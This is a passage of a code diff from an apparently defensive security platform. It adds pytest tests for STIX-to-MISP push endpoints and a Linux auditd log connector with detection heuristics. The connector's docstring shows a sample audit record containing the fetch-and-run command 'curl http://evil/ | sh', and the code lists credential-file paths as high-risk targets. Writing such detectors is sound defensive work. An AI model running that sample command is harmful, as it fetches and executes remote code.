configured" in result.error.lower()++ @pytest.mark.asyncio+ async def test_airgap_violation_caught(self, monkeypatch: pytest.MonkeyPatch) -> None:+ """A real ``AirgapViolation`` from the client must NOT 500 the request."""+ monkeypatch.setattr(settings, "MISP_URL", "https://misp.example")+ monkeypatch.setattr(settings, "MISP_API_KEY", "k")++ fake_client = MagicMock()+ fake_client.configured = True+ fake_client.push_indicator = AsyncMock(side_effect=AirgapViolation("blocked"))+ monkeypatch.setattr(stix_taxii, "get_push_client", lambda: fake_client)++ result = await _push_indicator_or_swallow(_stub_indicator())+ assert result is not None+ assert result.pushed is False+ assert result.error is not None and "Air-gap" in result.error++ @pytest.mark.asyncio+ async def test_push_error_caught(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_URL", "https://misp.example")+ monkeypatch.setattr(settings, "MISP_API_KEY", "k")++ fake_client = MagicMock()+ fake_client.configured = True+ fake_client.push_indicator = AsyncMock(side_effect=MispPushError("boom"))+ monkeypatch.setattr(stix_taxii, "get_push_client", lambda: fake_client)++ result = await _push_indicator_or_swallow(_stub_indicator())+ assert result is not None+ assert result.pushed is False+ assert result.error == "boom"++ @pytest.mark.asyncio+ async def test_success_populates_event_metadata(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_URL", "https://misp.example")+ monkeypatch.setattr(settings, "MISP_API_KEY", "k")++ fake_client = MagicMock()+ fake_client.configured = True+ fake_client.push_indicator = AsyncMock(+ return_value={+ "ok": True,+ "misp_event_id": "42",+ "misp_event_uuid": "uuid-42",+ "url": "https://misp.example/events/view/42",+ "raw": {},+ }+ )+ monkeypatch.setattr(stix_taxii, "get_push_client", lambda: fake_client)++ result = await _push_indicator_or_swallow(_stub_indicator())+ assert result == MispPushResult(+ pushed=True,+ misp_event_id="42",+ misp_event_uuid="uuid-42",+ url="https://misp.example/events/view/42",+ )+++class TestPushBundleOrSwallow:+ @pytest.mark.asyncio+ async def test_success_includes_attribute_counts(self, monkeypatch: pytest.MonkeyPatch) -> None:+ """Bundle results must surface translation counts to the caller.++ This is the only way a downstream operator finds out their+ bundle was partially mirrored — the publish endpoint is 201+ regardless.+ """+ monkeypatch.setattr(settings, "MISP_URL", "https://misp.example")+ monkeypatch.setattr(settings, "MISP_API_KEY", "k")++ fake_client = MagicMock()+ fake_client.configured = True+ fake_client.push_bundle = AsyncMock(+ return_value={+ "ok": True,+ "misp_event_id": "9",+ "misp_event_uuid": "u9",+ "url": "https://misp.example/events/view/9",+ "pushed_attributes": 4,+ "skipped_attributes": 1,+ }+ )+ monkeypatch.setattr(stix_taxii, "get_push_client", lambda: fake_client)++ result = await _push_bundle_or_swallow(_stub_bundle())+ assert result is not None+ assert result.pushed is True+ assert result.pushed_attributes == 4+ assert result.skipped_attributes == 1+++# ── Endpoint tests (TestClient on a stub app) ───────────────────────────────+++def stub_app() -> FastAPI:+ """Mount only the stix_taxii router — keeps tests independent of auth/middleware.++ Same pattern as ``test_demo_mode.py``: the production composition+ is covered elsewhere; here we test routing + serialization only.+ """+ app = FastAPI()+ app.include_router(stix_router, prefix="/api/v1")+ return app+++def client(stub_app: FastAPI) -> TestClient:+ return TestClient(stub_app)+++class TestCreateIndicatorEndpoint:+ def test_default_no_push(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ """Without ``push_to_misp`` and with auto-push off, ``misp`` is null."""+ monkeypatch.setattr(settings, "MISP_PUSH_AUTO", False)+ resp = client.post(+ "/api/v1/threatintel/stix/indicators",+ json={+ "name": "demo",+ "pattern": "[ipv4-addr:value = '10.0.0.1']",+ "labels": [],+ },+ )+ assert resp.status_code == 201+ assert resp.json()["misp"] is None++ def test_explicit_push_unconfigured_returns_error_payload(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ """``?push_to_misp=true`` with no MISP creds returns a 201 + error.++ We deliberately do NOT 4xx — the publish itself succeeded, only+ the mirror failed. The operator finds out via the embedded+ ``misp.error`` field.+ """+ monkeypatch.setattr(settings, "MISP_URL", "")+ monkeypatch.setattr(settings, "MISP_API_KEY", "")+ resp = client.post(+ "/api/v1/threatintel/stix/indicators?push_to_misp=true",+ json={+ "name": "demo",+ "pattern": "[ipv4-addr:value = '10.0.0.2']",+ "labels": [],+ },+ )+ assert resp.status_code == 201+ body = resp.json()+ assert body["misp"]["pushed"] is False+ assert "not configured" in body["misp"]["error"].lower()++ def test_auto_push_triggers_when_env_enabled(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ """``MISP_PUSH_AUTO=true`` makes every publish attempt a push.++ We mock the push helper itself so this test stays pure — the+ helper logic is covered by ``TestPushIndicatorOrSwallow``.+ """+ monkeypatch.setattr(settings, "MISP_PUSH_AUTO", True)++ async def _ok_push(_indicator: STIXIndicator) -> MispPushResult:+ return MispPushResult(pushed=True, misp_event_id="7", url="x")++ monkeypatch.setattr(stix_taxii, "_push_indicator_or_swallow", _ok_push)+ resp = client.post(+ "/api/v1/threatintel/stix/indicators",+ json={+ "name": "demo",+ "pattern": "[ipv4-addr:value = '10.0.0.3']",+ "labels": [],+ },+ )+ assert resp.status_code == 201+ body = resp.json()+ assert body["misp"]["pushed"] is True+ assert body["misp"]["misp_event_id"] == "7"++ def test_explicit_push_false_overrides_auto(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ """``?push_to_misp=false`` must short-circuit even with auto on.++ Operators use this for reflective bulk replays where they don't+ want to spam MISP with the same indicator twice.+ """+ monkeypatch.setattr(settings, "MISP_PUSH_AUTO", True)++ called = False++ async def _track(_: STIXIndicator) -> MispPushResult:+ nonlocal called+ called = True+ return MispPushResult(pushed=True)++ monkeypatch.setattr(stix_taxii, "_push_indicator_or_swallow", _track)+ resp = client.post(+ "/api/v1/threatintel/stix/indicators?push_to_misp=false",+ json={+ "name": "demo",+ "pattern": "[ipv4-addr:value = '10.0.0.4']",+ "labels": [],+ },+ )+ assert resp.status_code == 201+ assert resp.json()["misp"] is None+ assert called is False+++class TestCreateBundleEndpoint:+ def test_empty_bundle_rejected(self, client: TestClient) -> None:+ """An empty ``objects`` list 400s — there's nothing to publish."""+ resp = client.post(+ "/api/v1/threatintel/stix/bundles",+ json={"objects": []},+ )+ assert resp.status_code == 400++ def test_push_to_misp_query_flag_works(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ async def _ok_push(_b: STIXBundle) -> MispPushResult:+ return MispPushResult(+ pushed=True,+ misp_event_id="11",+ pushed_attributes=2,+ skipped_attributes=0,+ )++ monkeypatch.setattr(stix_taxii, "_push_bundle_or_swallow", _ok_push)+ resp = client.post(+ "/api/v1/threatintel/stix/bundles?push_to_misp=true",+ json={"objects": [{"type": "indicator", "name": "x", "pattern": "[ipv4-addr:value = '10.0.0.5']"}]},+ )+ assert resp.status_code == 201+ body = resp.json()+ assert body["misp"]["pushed"] is True+ assert body["misp"]["pushed_attributes"] == 2+++class TestMispHealthEndpoint:+ def test_unconfigured(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_URL", "")+ monkeypatch.setattr(settings, "MISP_API_KEY", "")+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", False)+ monkeypatch.setattr(settings, "MISP_PUSH_AUTO", False)+ resp = client.get("/api/v1/threatintel/stix/misp/health")+ assert resp.status_code == 200+ body = resp.json()+ assert body["configured"] is False+ assert body["ok"] is False+ assert body["airgapped"] is False+ assert body["auto_push"] is False+ assert body["error"] is not None++ def test_airgap_blocks_health_check(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ """Air-gap violations surface as ``ok=False`` + ``error`` not 5xx.++ Operators need to see "the policy blocked you" without being+ forced to read a stack trace.+ """+ monkeypatch.setattr(settings, "MISP_URL", "https://misp.example")+ monkeypatch.setattr(settings, "MISP_API_KEY", "k")+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", True)+ monkeypatch.setattr(settings, "AISOC_AIRGAP_ALLOWLIST", [])++ resp = client.get("/api/v1/threatintel/stix/misp/health")+ assert resp.status_code == 200+ body = resp.json()+ assert body["configured"] is True+ assert body["airgapped"] is True+ assert body["ok"] is False+ assert "Air-gap" in body["error"]++ def test_misp_push_error_surfaces_in_health(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_URL", "https://misp.example")+ monkeypatch.setattr(settings, "MISP_API_KEY", "k")+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", False)++ fake_client = MagicMock()+ fake_client.configured = True+ fake_client.health_check = AsyncMock(side_effect=MispPushError("auth failed (401)"))+ monkeypatch.setattr(stix_taxii, "get_push_client", lambda: fake_client)++ resp = client.get("/api/v1/threatintel/stix/misp/health")+ assert resp.status_code == 200+ body = resp.json()+ assert body["ok"] is False+ assert body["error"] == "auth failed (401)"++ def test_successful_health_check(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_URL", "https://misp.internal")+ monkeypatch.setattr(settings, "MISP_API_KEY", "k")+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", False)++ fake_client = MagicMock()+ fake_client.configured = True+ fake_client.health_check = AsyncMock(+ return_value={+ "ok": True,+ "url": "https://misp.internal",+ "user": "[email protected]",+ "role": "publisher",+ }+ )+ monkeypatch.setattr(stix_taxii, "get_push_client", lambda: fake_client)++ resp = client.get("/api/v1/threatintel/stix/misp/health")+ assert resp.status_code == 200+ body = resp.json()+ assert body["ok"] is True+ assert body["user"] == "[email protected]"+ assert body["role"] == "publisher"+++class TestMispDryRunEndpoint:+ def test_indicator_dry_run_yields_event(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_URL", "https://misp.internal")+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", False)+ resp = client.post(+ "/api/v1/threatintel/stix/misp/dry-run",+ json={+ "indicator": {+ "name": "preview",+ "pattern": "[ipv4-addr:value = '198.51.100.99']",+ "labels": ["test"],+ }+ },+ )+ assert resp.status_code == 200+ body = resp.json()+ assert body["attribute_count"] == 1+ assert body["skipped_count"] == 0+ assert body["would_push_to"] == "https://misp.internal/events/add"+ assert body["airgap_blocked"] is False+ assert body["event"]["Event"]["Attribute"][0]["value"] == "198.51.100.99"++ def test_bundle_dry_run_aggregates(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_URL", "https://misp.internal")+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", False)+ resp = client.post(+ "/api/v1/threatintel/stix/misp/dry-run",+ json={+ "bundle": {+ "objects": [+ {"type": "indicator", "pattern": "[ipv4-addr:value = '10.0.0.1']"},+ {"type": "indicator", "pattern": "[domain-name:value = 'evil.example']"},+ {"type": "indicator", "pattern": "[process:name = 'x']"}, # skipped+ ]+ }+ },+ )+ assert resp.status_code == 200+ body = resp.json()+ assert body["attribute_count"] == 2+ assert body["skipped_count"] == 1++ def test_neither_indicator_nor_bundle_400s(self, client: TestClient) -> None:+ resp = client.post("/api/v1/threatintel/stix/misp/dry-run", json={})+ assert resp.status_code == 400+ assert "exactly one" in resp.json()["detail"]++ def test_both_indicator_and_bundle_400s(self, client: TestClient) -> None:+ resp = client.post(+ "/api/v1/threatintel/stix/misp/dry-run",+ json={+ "indicator": {+ "name": "x",+ "pattern": "[ipv4-addr:value = '10.0.0.1']",+ "labels": [],+ },+ "bundle": {"objects": [{"type": "identity"}]},+ },+ )+ assert resp.status_code == 400++ def test_untranslatable_indicator_422s(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ """The dry-run is the right place to surface an untranslatable pattern.++ The bulk publish endpoint is permissive (skips and logs) but+ ``/dry-run`` is explicitly diagnostic — operators run it to find+ out what would happen, so silence here would defeat the purpose.+ """+ monkeypatch.setattr(settings, "MISP_URL", "https://misp.internal")+ resp = client.post(+ "/api/v1/threatintel/stix/misp/dry-run",+ json={+ "indicator": {+ "name": "broken",+ "pattern": "[process:name = 'svchost.exe']",+ "labels": [],+ }+ },+ )+ assert resp.status_code == 422+ detail = resp.json()["detail"]+ assert "not currently translatable" in detail++ def test_airgap_blocked_dry_run_returns_message(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ """An air-gapped deployment surfaces ``airgap_blocked=true``.++ This is the single most important diagnostic for the+ air-gap-certified deployment story — operators verify with this+ endpoint that nothing will leak before they wire MISP into+ production traffic.+ """+ monkeypatch.setattr(settings, "MISP_URL", "https://misp.public.example")+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", True)+ monkeypatch.setattr(settings, "AISOC_AIRGAP_ALLOWLIST", [])++ resp = client.post(+ "/api/v1/threatintel/stix/misp/dry-run",+ json={+ "indicator": {+ "name": "any",+ "pattern": "[ipv4-addr:value = '10.0.0.1']",+ "labels": [],+ }+ },+ )+ assert resp.status_code == 200+ body = resp.json()+ assert body["airgap_blocked"] is True+ assert body["airgap_message"] is not None+ # Even when blocked, the dry-run still returns the would-be event+ # so operators can review the payload offline.+ assert body["attribute_count"] == 1++ def test_no_misp_url_omits_would_push_to(self, client: TestClient, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_URL", "")+ resp = client.post(+ "/api/v1/threatintel/stix/misp/dry-run",+ json={+ "indicator": {+ "name": "x",+ "pattern": "[ipv4-addr:value = '10.0.0.1']",+ "labels": [],+ }+ },+ )+ assert resp.status_code == 200+ body = resp.json()+ assert body["would_push_to"] is None+ assert body["airgap_blocked"] is Falsediff --git a/services/connectors/app/connectors/__init__.py b/services/connectors/app/connectors/__init__.pyindex 5c82d9f07..2bd39b074 100644--- a/services/connectors/app/connectors/__init__.py+++ b/services/connectors/app/connectors/__init__.py@@ -16,6 +16,7 @@ from __future__ import annotationsfrom typing import TYPE_CHECKING+from app.connectors.auditd import AuditdConnectorfrom app.connectors.auth0 import Auth0Connectorfrom app.connectors.aws_cloudtrail import AWSCloudTrailConnectorfrom app.connectors.aws_guardduty import AWSGuardDutyConnector@@ -65,6 +66,7 @@ from app.connectors.tailscale import TailscaleConnectorfrom app.connectors.tenable import TenableConnectorfrom app.connectors.trellix_helix import TrellixHelixConnectorfrom app.connectors.trend_vision_one import TrendVisionOneConnector+from app.connectors.wazuh import WazuhConnectorfrom app.connectors.wiz import WizConnectorfrom app.connectors.zscaler import ZscalerConnector@@ -80,6 +82,7 @@ _CONNECTOR_CLASSES: tuple[type[BaseConnector], ...] = (AWSSecurityHubConnector,AWSVPCFlowLogsConnector,Auth0Connector,+ AuditdConnector,AzureActivityConnector,AzureDefenderConnector,AzureEntraConnector,@@ -123,6 +126,7 @@ _CONNECTOR_CLASSES: tuple[type[BaseConnector], ...] = (TenableConnector,TrellixHelixConnector,TrendVisionOneConnector,+ WazuhConnector,WizConnector,ZscalerConnector,)@@ -174,6 +178,7 @@ __all__ = ["AWSSecurityHubConnector","AWSVPCFlowLogsConnector","Auth0Connector",+ "AuditdConnector","AzureActivityConnector","AzureDefenderConnector","AzureEntraConnector",@@ -222,6 +227,7 @@ __all__ = ["TenableConnector","TrellixHelixConnector","TrendVisionOneConnector",+ "WazuhConnector","WizConnector","ZscalerConnector","get_connector_class",diff --git a/services/connectors/app/connectors/auditd.py b/services/connectors/app/connectors/auditd.pynew file mode 100644index 000000000..eea88574e--- /dev/null+++ b/services/connectors/app/connectors/auditd.py@@ -0,0 +1,719 @@+"""+Linux ``auditd`` connector — file_tail mode (no host-agent dependency).++The Linux Audit subsystem (``kauditd`` in the kernel, ``auditd`` in+userspace) is the canonical telemetry source for ``execve``,+syscall-based file watches, and kernel-module load events on every+modern Linux distribution. Almost every detection rule under+``detections/endpoint/linux-*.yaml`` expects events in this shape+(``syscall``, ``exe``, ``argv``, ``path``, ``actor_uid``, ``key``).++Why ``file_tail`` only (no host-agent)?++ AiSOC is deliberately host-agent-free in v1. Operators who want+ auditd telemetry already pay for ``auditd`` itself — it's a+ standard package on every server distro. The path of least+ deployment friction is:++ 1. Install AiSOC's ``audit.rules`` profile (ships at+ ``profiles/auditd/aisoc.rules``) under+ ``/etc/audit/rules.d/``.+ 2. Reload with ``augenrules --load``.+ 3. Mount ``/var/log/audit/audit.log`` read-only into the+ AiSOC connector pod (or run the connector on the same+ host with a sidecar deployment).++ The connector pod tails the log file forward from a saved byte+ cursor — exactly the same pattern the Kubernetes audit connector+ already uses for self-hosted clusters. No Go agent to compile, no+ second daemon to babysit, no kernel module to load.++Auditd log format (the parsing problem)++ ``auditd`` writes one line per audit *record*, but a single+ *event* can span multiple records that share the same+ ``msg=audit(timestamp:serial)`` identifier. Example+ ``execve`` event::++ type=SYSCALL msg=audit(1715520000.123:9876): arch=c000003e syscall=59 success=yes ...+ uid=1000 auid=1000 comm="bash" exe="/usr/bin/bash" key="aisoc_exec"+ type=EXECVE msg=audit(1715520000.123:9876): argc=3 a0="bash" a1="-c" a2="curl http://evil/ | sh"+ type=CWD msg=audit(1715520000.123:9876): cwd="/tmp"+ type=PATH msg=audit(1715520000.123:9876): item=0 name="/usr/bin/bash" ...+ type=PROCTITLE msg=audit(1715520000.123:9876): proctitle="bash\0-c\0..."++ The connector reassembles the records into one normalized event+ per ``(timestamp, serial)`` tuple before handing it to ingest, so+ a detection rule can express ``syscall == "execve" AND exe+ ENDSWITH "/auditctl" AND argv CONTAINS_ANY ["-D", "-e 0"]``+ against a single document instead of having to JOIN across+ sibling records.++What we don't do++ * No kernel-side rule evaluation (that's auditd's job — see+ ``profiles/auditd/aisoc.rules``).+ * No real-time push (the connector is poll-driven on the same+ cadence as every other AiSOC connector — typically 60s).+ * No host-agent. The whole connector is a Python file_tail+ reader; if you want a real-time push agent the v2 ``host-agent``+ workstream covers it.++Severity heuristic++ Audit records carry ``key=...`` strings set by the operator's+ rules. The AiSOC ``audit.rules`` profile names every rule+ ``aisoc_<bucket>`` so the connector can derive a meaningful+ severity from the key alone:++ * ``aisoc_critical_*`` → ``high``+ * ``aisoc_exec``,+ ``aisoc_persistence_*``,+ ``aisoc_priv_esc_*`` → ``medium``+ * ``aisoc_watch_*``,+ ``aisoc_audit_*`` → ``low``+ * everything else → ``info``++ Operators who don't use the AiSOC profile (e.g. they keep a+ pre-existing audit.rules from CIS / STIG) still get useful+ coverage — we fall back to syscall-based heuristics+ (``execve`` from ``/dev/shm`` or ``/tmp`` → ``high``;+ write to ``/etc/passwd`` / ``/etc/shadow`` → ``high``;+ everything else → ``info``).+"""++from __future__ import annotations++import os+import re+from collections import defaultdict+from pathlib import Path+from typing import Any++import structlog++from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field++logger = structlog.get_logger()+++# ---------------------------------------------------------------------------+# Parsing primitives+# ---------------------------------------------------------------------------+#+# auditd records are key=value pairs separated by whitespace. Values can be:+# * unquoted bareword: ``arch=c000003e``+# * double-quoted string: ``exe="/usr/bin/bash"``+# * hex-encoded blob: ``proctitle=626173680A2D63...`` (no quotes around+# binary safe-ish strings — auditd hex-encodes anything containing+# a NUL, newline, or special byte)+#+# This regex captures key + value (quoted or not) without splitting on+# spaces inside double-quoted values. We deliberately don't try to+# handle every pathological case (escaped quotes inside quoted values+# don't appear in real auditd output) — if a single record fails to+# parse we drop it and log, which is better than corrupting the batch.+_KV_RE = re.compile(r'(\w+)=(?:"([^"]*)"|(\S+))')++# Every record starts with ``msg=audit(<timestamp>:<serial>)``. We pull+# (timestamp, serial) as the event key — every record sharing this+# tuple belongs to the same logical event.+_MSG_RE = re.compile(r"msg=audit\((\d+\.\d+):(\d+)\)")+++# Hard ceiling on bytes read per poll. Same rationale as the+# kubernetes_audit connector: a busy host can produce hundreds of MB+# per minute under heavy execve activity, and we'd rather drop the+# trailing slice from one poll than wedge the scheduler.+_MAX_TAIL_BYTES_PER_POLL = 8 * 1024 * 1024 # 8 MiB++# Hard ceiling on records reassembled per poll. Pathological+# ``execve`` storms (e.g. fork bombs, CI runners spawning a million+# processes) would otherwise consume unbounded memory while we hold+# the per-event dict in ``_assemble_events``.+_MAX_EVENTS_PER_POLL = 50_000+++# ---------------------------------------------------------------------------+# Severity mapping+# ---------------------------------------------------------------------------+#+# Highest-priority match wins. Order matters: the explicit+# ``aisoc_critical_*`` prefix takes precedence over the generic+# ``aisoc_exec`` bucket so an operator can promote a single rule to+# critical by renaming it.++_KEY_SEVERITY_PREFIXES: tuple[tuple[str, str], ...] = (+ ("aisoc_critical_", "high"),+ ("aisoc_priv_esc_", "medium"),+ ("aisoc_persistence_", "medium"),+ ("aisoc_exec", "medium"),+ ("aisoc_watch_", "low"),+ ("aisoc_audit_", "low"),+)++# Filesystem paths whose modification (regardless of operator key)+# should always be treated as ``high``. Picked from the standard+# Linux post-exploitation playbook.+_HIGH_RISK_PATHS: frozenset[str] = frozenset(+ {+ "/etc/passwd",+ "/etc/shadow",+ "/etc/sudoers",+ "/etc/ssh/sshd_config",+ }+)++# Directories from which a fresh ``execve`` is almost always+# malicious (no legitimate package installs binaries here).+_HIGH_RISK_EXEC_DIRS: tuple[str, ...] = (+ "/dev/shm/",+ "/tmp/",+ "/var/tmp/",+ "/run/shm/",+)+++def _severity_from_event(event: dict[str, Any]) -> str:+ """Bucket a reassembled auditd event into AiSOC's 4-tier ladder.++ Priority order:+ 1. AiSOC-profile key prefix match (``aisoc_critical_*`` etc.).+ 2. Path-based heuristic (writes to ``/etc/shadow`` etc.).+ 3. Exec-from-temp heuristic.+ 4. ``info`` floor.+ """+ key = (event.get("key") or "").strip().strip('"')+ if key:+ for prefix, sev in _KEY_SEVERITY_PREFIXES:+ if key.startswith(prefix):+ return sev++ path = event.get("path") or ""+ if path in _HIGH_RISK_PATHS:+ return "high"++ syscall = event.get("syscall") or ""+ exe = event.get("exe") or ""+ if syscall == "execve" and exe.startswith(_HIGH_RISK_EXEC_DIRS):+ return "high"++ return "info"+++# ---------------------------------------------------------------------------+# Record / event reassembly helpers+# ---------------------------------------------------------------------------+++def _parse_record(line: str) -> tuple[tuple[str, str] | None, str | None, dict[str, str]]:+ """Parse a single auditd record line into ``(event_id, type, fields)``.++ ``event_id`` is the ``(timestamp, serial)`` tuple shared by every+ record in the same logical event. ``type`` is the record type+ (``SYSCALL``, ``EXECVE``, ``PATH``, ``CWD``, ``PROCTITLE`` …).+ Returns ``(None, None, {})`` when the line is malformed so the+ caller can drop it cleanly.+ """+ msg_match = _MSG_RE.search(line)+ if not msg_match:+ return None, None, {}+ event_id = (msg_match.group(1), msg_match.group(2))++ # Extract record type explicitly so the caller can look up+ # type-specific keys without scanning the whole field dict.+ type_match = re.match(r"type=(\S+)", line)+ record_type = type_match.group(1) if type_match else None++ fields: dict[str, str] = {}+ for kv_match in _KV_RE.finditer(line):+ key = kv_match.group(1)+ # group(2) = quoted value (already unquoted), group(3) = unquoted token+ value = kv_match.group(2) if kv_match.group(2) is not None else kv_match.group(3)+ fields[key] = value+ return event_id, record_type, fields+++def _decode_hex_string(hex_str: str) -> str:+ """Decode an auditd hex-encoded string to a NUL-separated string.++ auditd hex-encodes ``proctitle`` (and any other field containing+ bytes that would break the ``key=value`` framing) by writing the+ raw bytes as ASCII hex with no leading prefix. The decoded+ payload typically contains NUL separators between argv tokens+ (this is exactly how the kernel stores ``argv`` in+ ``/proc/<pid>/cmdline``). We replace NULs with spaces so detection+ rules and human readers see a single readable command line.+ """+ try:+ raw = bytes.fromhex(hex_str)+ except ValueError:+ return hex_str+ return raw.decode("utf-8", errors="replace").replace("\x00", " ").strip()+++def _extract_argv(execve_fields: dict[str, str]) -> list[str]:+ """Reassemble ``argv`` from an ``EXECVE`` record's ``a0=…ax=…``."""+ argv: list[str] = []+ # ``a0``, ``a1``, … are the positional argv slots. Walk the+ # contiguous prefix; auditd always emits them in order so we+ # stop at the first gap.+ idx = 0+ while True:+ slot = execve_fields.get(f"a{idx}")+ if slot is None:+ break+ argv.append(slot)+ idx += 1+ return argv+++def _assemble_events(+ records: list[tuple[tuple[str, str] | None, str | None, dict[str, str]]],+) -> list[dict[str, Any]]:+ """Group records by ``(timestamp, serial)`` into normalised events.++ The produced dict is *flat* and matches the field naming used by+ every existing detection rule under ``detections/endpoint/`` that+ sources from auditd (``syscall``, ``exe``, ``argv``, ``path``,+ ``actor_uid``, ``key`` …). The original per-record breakdown is+ preserved on ``raw_records`` for rules that need to pivot into+ type-specific fields.+ """+ grouped: dict[tuple[str, str], dict[str, Any]] = defaultdict(+ lambda: {+ "raw_records": {},+ # Lists for record types that can appear multiple times+ # in a single event (PATH for multi-target ops, e.g.+ # ``rename``).+ "paths": [],+ }+ )++ for event_id, record_type, fields in records:+ if event_id is None or record_type is None:+ continue+ event = grouped[event_id]+ # Stash the raw fields keyed by record type so callers can+ # walk back to the original wire format.+ if record_type == "PATH":+ event["raw_records"].setdefault("PATH", []).append(fields)+ if (path_value := fields.get("name")) and path_value not in event["paths"]:+ event["paths"].append(path_value)+ else:+ event["raw_records"][record_type] = fields++ # Lift the most useful fields onto the top-level dict.+ if record_type == "SYSCALL":+ event["timestamp"] = event_id[0]+ event["serial"] = event_id[1]+ event["syscall_num"] = fields.get("syscall")+ event["syscall_name"] = fields.get("syscall_name") # rare; kernel only+ event["success"] = fields.get("success")+ event["exit"] = fields.get("exit")+ event["actor_uid"] = fields.get("uid")+ event["actor_auid"] = fields.get("auid")+ event["actor_euid"] = fields.get("euid")+ event["actor_gid"] = fields.get("gid")+ event["actor_pid"] = fields.get("pid")+ event["actor_ppid"] = fields.get("ppid")+ event["comm"] = fields.get("comm")+ event["exe"] = fields.get("exe")+ event["tty"] = fields.get("tty")+ event["session"] = fields.get("ses")+ event["arch"] = fields.get("arch")+ event["key"] = fields.get("key")+ # Resolve the syscall *name* from the numeric id when we+ # don't already have one. Detection rules pivot on+ # ``syscall == "execve"`` strings, not numbers.+ if not event.get("syscall_name"):+ event["syscall"] = _SYSCALL_NUM_TO_NAME.get(fields.get("syscall", ""), fields.get("syscall"))+ else:+ event["syscall"] = event["syscall_name"]+ elif record_type == "EXECVE":+ event["argv"] = _extract_argv(fields)+ elif record_type == "CWD":+ event["cwd"] = fields.get("cwd")+ elif record_type == "PROCTITLE":+ raw_title = fields.get("proctitle", "")+ # PROCTITLE is hex-encoded when auditd believes the+ # title contains unsafe bytes. Heuristic: a value that+ # parses as hex AND has even length is a hex blob.+ if raw_title and len(raw_title) % 2 == 0 and all(c in "0123456789abcdefABCDEF" for c in raw_title):+ event["proctitle"] = _decode_hex_string(raw_title)+ else:+ event["proctitle"] = raw_title++ # Promote ``path`` (singular) for the common single-target case so+ # detection rules can pivot on ``path ==`` without having to+ # special-case the single-vs-many shape.+ out: list[dict[str, Any]] = []+ for (timestamp, serial), event in grouped.items():+ if event["paths"]:+ event["path"] = event["paths"][0]+ else:+ event["path"] = None+ # Compose a stable composite event_id so retries can dedupe.+ event["event_id"] = f"{timestamp}:{serial}"+ out.append(event)++ return out+++# Minimal x86_64 syscall number → name table covering the syscalls+# AiSOC's detection content actually pivots on. We deliberately do+# *not* ship a full table — the long tail isn't useful and would+# bloat this file. Operators on other architectures can override the+# behaviour by setting ``--with-prefix`` audit rules that emit the+# syscall name directly via ``key`` strings.+_SYSCALL_NUM_TO_NAME: dict[str, str] = {+ "0": "read",+ "1": "write",+ "2": "open",+ "59": "execve",+ "62": "kill",+ "82": "rename",+ "84": "rmdir",+ "85": "creat",+ "86": "link",+ "87": "unlink",+ "90": "chmod",+ "91": "fchmod",+ "92": "chown",+ "94": "fchown",+ "101": "ptrace",+ "165": "mount",+ "175": "init_module",+ "257": "openat",+ "263": "unlinkat",+ "319": "memfd_create",+ "322": "execveat",+ "313": "finit_module",+}+++class AuditdConnector(BaseConnector):+ """Linux ``auditd`` connector — file_tail mode (no host-agent dep).++ Configure with the path to ``audit.log`` inside the connector pod+ (typically a host-mount of ``/var/log/audit/audit.log``). The+ connector reassembles multi-record auditd events into the flat+ field shape every existing ``detections/endpoint/linux-*.yaml``+ rule expects.+ """++ connector_id = "auditd"+ connector_name = "Linux Auditd"+ connector_category = "edr"++ _DEFAULT_CURSOR_SUFFIX = ".aisoc-cursor"++ @classmethod+ def schema(cls) -> ConnectorSchema:+ return ConnectorSchema(+ connector_id=cls.connector_id,+ connector_name=cls.connector_name,+ category=cls.connector_category,+ description=(+ "Linux Audit (``auditd``) log connector. Tails "+ "``/var/log/audit/audit.log`` forward from a saved "+ "byte cursor, reassembles multi-record events "+ "(SYSCALL + EXECVE + PATH + …) into flat documents, "+ "and feeds the same execve / file-watch / kernel-module "+ "primitives that detections/endpoint/linux-*.yaml "+ "rules pivot on. Ship the AiSOC ``audit.rules`` "+ "profile (profiles/auditd/aisoc.rules) for full "+ "coverage; rules with ``aisoc_*`` keys auto-bucket "+ "into AiSOC's severity tiers."+ ),+ docs_url="/docs/connectors/auditd",+ fields=[+ Field(+ "host_label",+ "string",+ "Host label",+ required=True,+ help_text=(+ "Human-readable label for the host being "+ "monitored. Surfaced on every normalised "+ "event so detections and investigations can "+ "filter to a single fleet member without "+ "relying on the kernel's reported hostname."+ ),+ ),+ Field(+ "audit_log_path",+ "string",+ "Audit log path",+ required=True,+ default="/var/log/audit/audit.log",+ help_text=(+ "Absolute path to ``audit.log`` inside the "+ "AiSOC connector pod. Mount the host's "+ "``/var/log/audit`` directory read-only into "+ "the pod, or run the connector on the same "+ "host as the auditd daemon."+ ),+ ),+ Field(+ "cursor_path",+ "string",+ "Cursor file path",+ required=False,+ help_text=(+ "Optional override for where AiSOC stores "+ "its byte-position cursor. Defaults to "+ "``<audit_log_path>.aisoc-cursor``. Use a "+ "writeable path — the connector pod needs "+ "to update this on every successful poll."+ ),+ ),+ ],+ )++ @classmethod+ def 